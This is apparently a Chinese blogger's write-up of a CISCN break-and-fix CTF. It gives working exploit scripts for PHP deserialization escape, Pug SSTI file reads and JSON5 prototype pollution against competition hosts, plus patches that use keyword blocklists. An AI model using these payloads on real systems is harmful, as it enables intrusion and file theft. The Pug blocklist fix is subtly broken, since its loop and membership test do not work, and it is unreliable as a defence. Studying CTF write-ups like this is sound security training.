在桂林面基广 door 师傅们,开心开心开心
我 tm 直接聊聊聊聊聊聊聊聊聊聊聊聊聊聊聊,吃吃吃吃吃吃吃吃吃吃吃吃吃吃吃,逛逛逛逛逛逛逛逛逛逛逛逛逛逛逛,玩玩玩玩玩玩玩玩玩玩玩玩玩玩玩
学长 GZTime 是男神,不用多说了吧
S1uM4i 大骇客们长得又好看,说话又好听,是温暖的大家庭捏!
师傅们可以私聊我加友链捏,复习去了,溜
经历
break 中途:排名这么靠前,努努力进决赛 😀
break 解完三道 Web:转过身看一眼大屏,我去,怎么第一了 😰,不会结束的时候能拿冠军吧 🤪
break 结束,fix 开始:苟住苟住,我修修修修修 🥵
fix 第一轮结束看结果,Web 5 修 4 Pwn 5 修 1:我擦,运气这么好的 😳?不会等会真的得上去讲题吧 😱?
fix 第二轮结束:进决赛稳了,不过等会真的要讲题了吗 🤡?
fix 最终轮结束:Web 终于全修好,Pwn 5 修 2 真的可以讲题了呀 🤩
city_pop
break
网页源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php error_reporting(0); function filter($str){ $str=str_replace("getflag",'hark',$str); return $str; } class Start{ public $start; public $end; public function __construct($start,$end) { $this->start=$start; $this->end=$end; } }
class Go{
public function __destruct() { echo $this->ray; }
} class Get{ public $func; public $name; public function __get($name) { call_user_func($this->func,$name);
}
public function __toString() { $this->name->{$this->func};
}
} class Done{ public $eval; public $class; public $use; public $useless; public function __invoke() { $this->use=$this->useless; eval($this->eval); }
public function __wakeup(){ $this->eval='no way'; } }
if(isset($_GET['ciscn_huaibei.pop'])){ $pop=new start($_GET['ciscn_huaibei.pop'],$_GET['pop']); $ser=filter(serialize($pop)); unserialize($ser); }else{ highlight_file(__FILE__); } ?>
|
找到利用链,这条链子里面没有用到这个 Done
类,使用的是 call_user_func("system","ls");
1 2 3 4 5 6 7 8
| $get = new Get(); $get1 = new Get(); $get1->func = "system"; $get->name = $get1; $get->func = "ls";
$go = new Go(); $go->ray = $get;
|
之后利用题目中的 filter
函数会导致长度变短,从而覆盖部分数据,进行反序列化逃逸
exp.py
1 2 3 4 5 6 7 8 9 10
| import requests
url = "http://172.1.30.1/pop.php"
params = { 'ciscn[huaibei.pop': 'getflag'*7, 'pop': ';;";s:3:"end";O:2:"Go":1:{s:3:"ray";O:3:"Get":2:{s:4:"func";s:13:"cat /flag.txt";s:4:"name";O:3:"Get":2:{s:4:"func";s:6:"system";s:4:"name";N;}}}' } r = requests.get(url, params=params) print(r.text)
|
fix
这题 fix 用了最久了的
第一次把 eval
删了,没用(srds 我的链子里面也没有用到 eval
这个点呀
第二次把 filter
函数给重写,也是没用
第三次把 eval
上面的一行 $this->use=$this->useless;
给去掉,这下终于 check 过
emoji
break
用 python 发包可以更好地发这个 unicode 过去,之后是 pug ssti 读取 flag
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
url = "http://172.1.30.2:8080/"
s = requests.Session()
data = { "username": ["ad#{global.process.mainModule.constructor._load('fs').readFileSync('/flag.txt','utf-8')}"], "password": "\ude0d😂😍😒😘💕😁\ud83d" }
r = s.post(url+"login", json=data) print(r.text)
r = s.get(url+"admin") print(r.text)
|
fix
得从 pug ssti 这个地方修复,加上黑名单即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function waf(str) { blacklist = [ "#{", "flag.txt", "_load", "require", "global.process", "import", ]; for (item in blacklist) { if (item in str) { return true; } } return false; } app.get("/admin", IfLogin, (req, res) => { if (req.session.user.isadmin === "1") { if (waf(req.session.user.username)) { res.send("forbidden"); } var hello = "welcome " + req.session.user.username; res.send(pugjs.render(hello)); } res.send("you are not admin"); });
|
pollution
break
JSON5.parse
原型链污染,之后再进行绕过读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests
url = "http://172.1.30.3:8080/"
s = requests.Session()
data = { "user":"tel", "__proto__":{ "admin":True } } r = s.post(url+"login",json=data)
data = { "file":{ "href":"tel", "origin":"tel", "protocol":"file:", "hostname":"", "pathname":"/fl%61g.txt" } } r = s.post(url+"dosometing",json=data) print(r.text)
|
fix
原型链污染修一下,JSON5.parse
改成 JSON.parse
即可
EffectiveTemp
赛场上看到,测出来这题是 ctftime 上国外比赛的考点
漏洞点在于 req.query.name
传入,可以把参数带进去付给 render
,依赖 ejs 版本 3.1.9 也是存在漏洞的,参考 https://github.com/mde/ejs/issues/720
比赛时没法联网呀,也没有保存这一题的题解,也没法调试,只能干看着
1 2 3
| app.get("/", blockQueryMiddleware, (req, res) => { res.render("index", { name: "World", ...req.query.name }); });
|
fix
直接修修修修修
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| const express = require("express"); const app = express(); const ejs = require("ejs"); function blockQueryMiddleware(req, res, next) { const forbiddenWord = ["[client]", "return", "execSync("]; const queryString = JSON.stringify(req.query); const containForbiddenWord = forbiddenWord.some((word) => queryString.includes(word) ); if (containForbiddenWord) { return res.sendStatus(500); } next(); } app.set("view engine", "ejs");
app.get("/", blockQueryMiddleware, (req, res) => { if (req.query.name) { res.render("index", { name: req.query.name }); } else { res.render("index", { name: "World" }); } });
app.listen(3000, () => { console.log("Build success"); });
|
OwnSquirrelly
和上一题一样 Squirrelly render CVE
没法联网,调试的话也没调明白,干坐着
1 2 3 4 5 6 7 8 9 10 11
| router.get("/", function (req, res, next) { if (req.session.userID === undefined || req.session.userID === null) { return res.redirect("/users/login"); }
if (!utils.isSafeObj(req.query.information)) { return res.render("home", { username: req.session.userID }); } else { return res.render("home", req.query.information); } });
|
fix
1 2 3 4 5 6 7 8 9 10 11
| router.get("/", function (req, res, next) { if (req.session.userID === undefined || req.session.userID === null) { return res.redirect("/users/login"); }
if (!utils.isSafeObj(req.query.information)) { return res.render("home", { username: req.session.userID }); } else { return res.render("home", { username: req.query.information }); } });
|
师傅们决赛场上见!